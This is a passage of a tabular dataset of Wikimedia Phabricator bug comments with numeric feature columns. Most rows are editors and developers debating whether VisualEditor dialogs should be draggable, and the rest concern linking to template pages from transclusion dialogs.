""High"" priority would mean that it's more important than editing tables, editing in Chinese, or editing galleries. ""High"" priority is not appropriate for this relatively minor and very complex enhancement request.",,,1407771922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,2.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,13.0,4.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,4.2727272727272725,0.8,"(In reply to Spinningspark from comment #17)
QUOTE
QUOTE

""High"" priority would mean that it's more important than editing tables, editing in Chinese, or editing galleries. ""High"" priority is not appropriate for this relatively minor and very complex enhancement request."
236992,OOUI: Dialogs should be repositionable/draggable,Why is this languishing at low priority? Fixing something that is preventing the editor from reading the thing he is editing is HIGH priority.,,,1407759592,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,12.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,19.0,0.0,0.0,0.0,4.576923076923077,0.8076923076923077,Why is this languishing at low priority? Fixing something that is preventing the editor from reading the thing he is editing is HIGH priority.
236985,OOUI: Dialogs should be repositionable/draggable,*** Bug 67952 has been marked as a duplicate of this bug. ***,,,1405474879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 67952 has been marked as a duplicate of this bug. ***
236977,OOUI: Dialogs should be repositionable/draggable,Moving to the OOjs UI product as that code is now shared.,,,1387222480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5384615384615383,1.0,Moving to the OOjs UI product as that code is now shared.
236971,OOUI: Dialogs should be repositionable/draggable,Please see https://upload.wikimedia.org/wikipedia/commons/d/d9/Wide_edit_window_%28Proposal_for_Wikimedia_VisualEditor%29.png for an example of what a wide window might look like for reviewing changes.,,,1387216858,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,0.9444444444444444,Please see URL for an example of what a wide window might look like for reviewing changes.
236966,OOUI: Dialogs should be repositionable/draggable,"The change review window is also too small to be useful for some editors, especially if a lot of changes have been made.",,,1385605063,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,21,,4.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.92,1.0,"The change review window is also too small to be useful for some editors, especially if a lot of changes have been made."
236960,OOUI: Dialogs should be repositionable/draggable,Understandable. You will receive a bugmail notification once this bug report is fixed.,,,1382574004,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.933333333333334,0.9333333333333333,Understandable. You will receive a bugmail notification once this bug report is fixed.
236954,OOUI: Dialogs should be repositionable/draggable,"Let me know when this is fixed, because I'm not going to stress myself by using VE until then - it just makes my everyday editing too much like hard work. When it's fixed (and perhaps a few more of my long-standing complaints - hidden comments, red links appearing as red, etc), I might carry on with debugging your system. Till then, why should I bother?",,,1382566037,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,16,,2.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,9.0,0.0,14.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,9.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,1.0,1.0,0.0,0.0,12.0,0.0,4.0,1.0,2.0,8.0,1.0,0.0,1.0,3.625,0.825,"Let me know when this is fixed, because I'm not going to stress myself by using VE until then - it just makes my everyday editing too much like hard work. When it's fixed (and perhaps a few more of my long-standing complaints - hidden comments, red links appearing as red, etc), I might carry on with debugging your system. Till then, why should I bother?"
236951,OOUI: Dialogs should be repositionable/draggable,"(In reply to comment #9)
> Two months since there's been any comment on this ... I admit I've pretty
> much
> given up using VE (too tedious because of this and other problems, plus some
> stuff going on in Real Life which makes me want to reduce Wikistress). Any
> chance of it getting fixed some time? I'm sure I'm not the only person
> affected.

Some time? Yes. Soon? No. In my view, it's not as important as fixing things like copy-and-paste or adding citation template quick-add support or editing tables.",,,1380756245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,13,,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,3.0,3.0,2.0,0.0,3.0,8.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2333333333333334,0.7,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Some time? Yes. Soon? No. In my view, it's not as important as fixing things like copy-and-paste or adding citation template quick-add support or editing tables."
236947,OOUI: Dialogs should be repositionable/draggable,"Two months since there's been any comment on this ... I admit I've pretty much given up using VE (too tedious because of this and other problems, plus some stuff going on in Real Life which makes me want to reduce Wikistress). Any chance of it getting fixed some time? I'm sure I'm not the only person affected.",,,1380755973,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,13,,7.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,0.0,1.0,4.0,0.0,1.0,1.0,7.0,0.0,6.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,15.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,9.0,15.0,6.0,1.0,0.0,0.0,9.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,3.735294117647059,0.8676470588235294,"Two months since there's been any comment on this ... I admit I've pretty much given up using VE (too tedious because of this and other problems, plus some stuff going on in Real Life which makes me want to reduce Wikistress). Any chance of it getting fixed some time? I'm sure I'm not the only person affected."
236944,OOUI: Dialogs should be repositionable/draggable,"Prioritisation of work is done on how much it interferes with people using the software, not how long ago it was first mentioned as an issue. For example, bug 4 (!) is from 2004.

I'm sorry that this is getting in the way of your use of VisualEditor, but I think that adding copy and paste support (for example) should happen first. I could ""upgrade"" the importance of this to ""high"" but it wouldn't get the code written any faster. :-(",,,1375472653,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,0.0,2.0,2.0,3.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,9.0,14.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,6.0,1.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,6.0,4.0,3.0,8.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,7.0,14.0,1.0,0.0,4.0,0.0,7.0,0.0,2.0,1.0,0.0,3.0,1.0,0.0,0.0,3.606060606060606,0.7171717171717171,"Prioritisation of work is done on how much it interferes with people using the software, not how long ago it was first mentioned as an issue. For example, bug 4 (!) is from 2004.

I'm sorry that this is getting in the way of your use of VisualEditor, but I think that adding copy and paste support (for example) should happen first. I could ""upgrade"" the importance of this to ""high"" but it wouldn't get the code written any faster. :-("
236941,OOUI: Dialogs should be repositionable/draggable,"Six weeks on from first request it's depressing to see this is still ""low enhancement"". Example: stub-sorting a Russian icehockey player, I open the dialog box to remove the existing stub tag and then go to the dropdown menu to add ""Russia-icehockey-bio-stub"", only to discover that there are separate stubs for wingers, goalies, etc. I didn't notice what he was.  I have to quit the dialog box, find he's a winger, re-open it, re-delete the old stub, return to the dropdown menu to add the new stub template.  The inability to move or shrink the dialogue box makes ordinary routine wikignoming harder work. But I suppose the target market of newbies don't do things like that, and we established editors can be trusted to struggle on regardless (some of us, perhaps a diminishing number), however ignored our needs may be?  

Yes, I could abandon VE and this wouldn't trouble me any more, but I'm trying to help by persevering in using it to help you debug it. In return, how about a little attention to one of the first issues I raised?",,,1375470897,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.3333333333333333,1.0,6.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,1.3333333333333333,4.333333333333333,10.333333333333334,0.0,3.6666666666666665,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,4.0,2.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,11.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.6666666666666666,1.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,5.333333333333333,2.0,6.0,0.6666666666666666,2.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.0,9.0,0.3333333333333333,0.6666666666666666,0.0,7.0,10.333333333333334,1.3333333333333333,1.0,1.3333333333333333,0.0,7.0,0.0,0.6666666666666666,1.6666666666666667,1.0,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,3.693639693639694,0.7543567543567544,"Six weeks on from first request it's depressing to see this is still ""low enhancement"". Example: stub-sorting a Russian icehockey player, I open the dialog box to remove the existing stub tag and then go to the dropdown menu to add ""Russia-icehockey-bio-stub"", only to discover that there are separate stubs for wingers, goalies, etc. I didn't notice what he was.  I have to quit the dialog box, find he's a winger, re-open it, re-delete the old stub, return to the dropdown menu to add the new stub template.  The inability to move or shrink the dialogue box makes ordinary routine wikignoming harder work. But I suppose the target market of newbies don't do things like that, and we established editors can be trusted to struggle on regardless (some of us, perhaps a diminishing number), however ignored our needs may be?  

Yes, I could abandon VE and this wouldn't trouble me any more, but I'm trying to help by persevering in using it to help you debug it. In return, how about a little attention to one of the first issues I raised?"
236935,OOUI: Dialogs should be repositionable/draggable,"How hard is it to make the dialog box moveable? Really? There is what, one parameter that needs to be changed? If this were a really hard problem, it would be understandable that the VE team was deferring this for more important things. But it's not that hard (I hope; if so, that bodes poorly for VE), and it impacts LOTS of editors. Yes, it affects the dialog box for page settings, when doing categories. But there is the identical problem when adding a caption for an image (Media settings dialog; might want to know how something in the article is spelled) and possibly for the other dialog boxes (for example, in the Media dialog, searching for an image where the search term has an unusual spelling).

Even better would be the ability to copy/paste from the main editing window to a field in the dialog box. I realize that has potential ramifications for loss of focus - it would be undesirable for the dialog box to disappear *behind* the main editing window. Still, in Mac OS X, the ""Force Quit Applications"" dialog box is moveable, and the user is able to copy text from other windows, but the dialog box remains on top of every window until it is closed. (Excessive, actually: the ideal is to have the VE dialog box float on top of the main editing window, ONLY.)

But we (as in, Wikipedia editors) would settle for a really minimal solution, initially - just make the dialog boxes moveable. Please?",,,1374967939,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,3,,0.25,0.25,0.0,0.75,0.25,4.75,1.75,0.0,0.0,0.5,1.75,0.0,0.0,0.25,0.5,0.75,0.0,6.25,10.0,0.25,1.75,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.25,1.0,0.0,4.75,0.75,1.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.25,1.0,0.0,1.0,0.0,0.25,0.0,14.5,0.75,0.5,0.0,1.5,0.0,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.25,0.25,0.5,0.25,7.25,3.75,7.5,2.0,2.0,8.25,0.0,0.0,0.0,0.0,3.5,0.5,0.25,0.0,2.75,10.0,4.25,1.0,0.5,0.0,2.75,0.0,2.0,1.75,0.0,1.0,0.5,0.0,0.0,3.8157894736842106,0.6940789473684211,"How hard is it to make the dialog box moveable? Really? There is what, one parameter that needs to be changed? If this were a really hard problem, it would be understandable that the VE team was deferring this for more important things. But it's not that hard (I hope; if so, that bodes poorly for VE), and it impacts LOTS of editors. Yes, it affects the dialog box for page settings, when doing categories. But there is the identical problem when adding a caption for an image (Media settings dialog; might want to know how something in the article is spelled) and possibly for the other dialog boxes (for example, in the Media dialog, searching for an image where the search term has an unusual spelling).

Even better would be the ability to copy/paste from the main editing window to a field in the dialog box. I realize that has potential ramifications for loss of focus - it would be undesirable for the dialog box to disappear *behind* the main editing window. Still, in Mac OS X, the ""Force Quit Applications"" dialog box is moveable, and the user is able to copy text from other windows, but the dialog box remains on top of every window until it is closed. (Excessive, actually: the ideal is to have the VE dialog box float on top of the main editing window, ONLY.)

But we (as in, Wikipedia editors) would settle for a really minimal solution, initially - just make the dialog boxes moveable. Please?"
236930,OOUI: Dialogs should be repositionable/draggable,"Any movement on this? Low-priority according to the development team, I accept, but it's a pretty important chunk of the editing workflow for a lot of tasks.",,,1373882058,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.8529411764705883,0.8823529411764706,"Any movement on this? Low-priority according to the development team, I accept, but it's a pretty important chunk of the editing workflow for a lot of tasks."
236926,OOUI: Dialogs should be repositionable/draggable,"If I want to add ""Category:1917 births"" and ""Category 1987 deaths"" to an article, is it undesirable multitasking to expect to be able to see the lead sentence which says ""'''Joe Bloggs (1917-1987)..."", rather than having to remember the two dates? Or if I want to assign ""Category:Villages in ..."" for some area whose placenames are unfamiliar and have difficult spellings? Please let me see the article while adding categories: a simple way would be to let me drag, or shrink, the dialogue box which at present totally obscures the article text. (I was the original reporter of this bug on 21 June, and the response above seems to misunderstand its importance.)",,,1372628541,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-1,,0.5,0.0,0.5,0.0,0.0,4.5,2.5,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.5,2.0,10.5,0.0,4.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,5.5,2.0,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,6.0,3.0,7.0,1.5,3.0,9.0,0.0,0.0,0.0,0.0,8.0,0.5,2.5,0.0,4.5,10.5,1.5,1.0,4.5,0.0,4.5,0.0,2.0,1.0,1.5,1.5,0.0,0.0,0.0,3.91046277665996,0.7734406438631791,"If I want to add ""Category:1917 births"" and ""Category 1987 deaths"" to an article, is it undesirable multitasking to expect to be able to see the lead sentence which says ""'''Joe Bloggs (1917-1987)..."", rather than having to remember the two dates? Or if I want to assign ""Category:Villages in ..."" for some area whose placenames are unfamiliar and have difficult spellings? Please let me see the article while adding categories: a simple way would be to let me drag, or shrink, the dialogue box which at present totally obscures the article text. (I was the original reporter of this bug on 21 June, and the response above seems to misunderstand its importance.)"
236921,OOUI: Dialogs should be repositionable/draggable,"(In reply to comment #1)
> The idea of the dialog being modal is that you aren't multi-tasking with it
> at all.

This isn't asking for multi-tasking, it's asking for the ability to drag the dialog out of the way so that you can get context for the single-tasking, err, task. :-)",,,1371835847,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,4.0,0.0,9.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.207547169811321,0.7547169811320755,"(In reply to comment #1)
QUOTE
QUOTE

This isn't asking for multi-tasking, it's asking for the ability to drag the dialog out of the way so that you can get context for the single-tasking, err, task. :-)"
236914,OOUI: Dialogs should be repositionable/draggable,Makes sense.,,,1371835810,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Makes sense.
236909,OOUI: Dialogs should be repositionable/draggable,"The idea of the dialog being modal is that you aren't multi-tasking with it at all.

As far as adding a category or changing the default sort of a category directly from some other mode (such as reading, or editing paragraph text) we should look at those workflows rather than dissolve the intentional model-ness of the dialog.

For example:

- Perhaps categories could be edited at the bottom of the page, rather than inside a dialog.
- Maybe the category editor could use some other kind of UI container that isn't modal.

etc.",,,1371835724,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,1.0,1.5,4.5,2.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.5,0.0,7.0,11.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.5,2.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,16.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.5,4.5,0.5,1.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,11.5,1.0,0.0,0.0,0.0,1.5,0.0,1.0,2.0,0.0,2.0,0.0,0.0,1.0,3.8771929824561404,0.7982456140350878,"The idea of the dialog being modal is that you aren't multi-tasking with it at all.

As far as adding a category or changing the default sort of a category directly from some other mode (such as reading, or editing paragraph text) we should look at those workflows rather than dissolve the intentional model-ness of the dialog.

For example:

- Perhaps categories could be edited at the bottom of the page, rather than inside a dialog.
- Maybe the category editor could use some other kind of UI container that isn't modal.

etc."
51772,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","When in the template editing dialog, a link going to the [template:name] page, would be really helpful for:
* Reading detailed documentation
* Easy access to (edit or examine) template source code

**See Also**:
* {T52354}
* {T52656}
* {T53311}",Lowest,10.0,1371589200,1483459346.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-axbu733atg4fftym2lek,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.196969696969697,0.6515151515151515,"When in the template editing dialog, a link going to the [template:name] page, would be really helpful for:
* Reading detailed documentation
* Easy access to (edit or examine) template source code

**See Also**:
* {T52354}
* {T52656}
* {T53311}"
781308,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Change 257443 merged by jenkins-bot:
MWTemplatePage: Show a link to the template even when there's a description

[[https://gerrit.wikimedia.org/r/257443]]",,,1482231864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,181,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.8620689655172413,"Change 257443 merged by jenkins-bot:
MWTemplatePage: Show a link to the template even when there's a description

[[GERRIT_URL]]"
574433,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Change 257443 had a related patch set uploaded (by Jforrester):
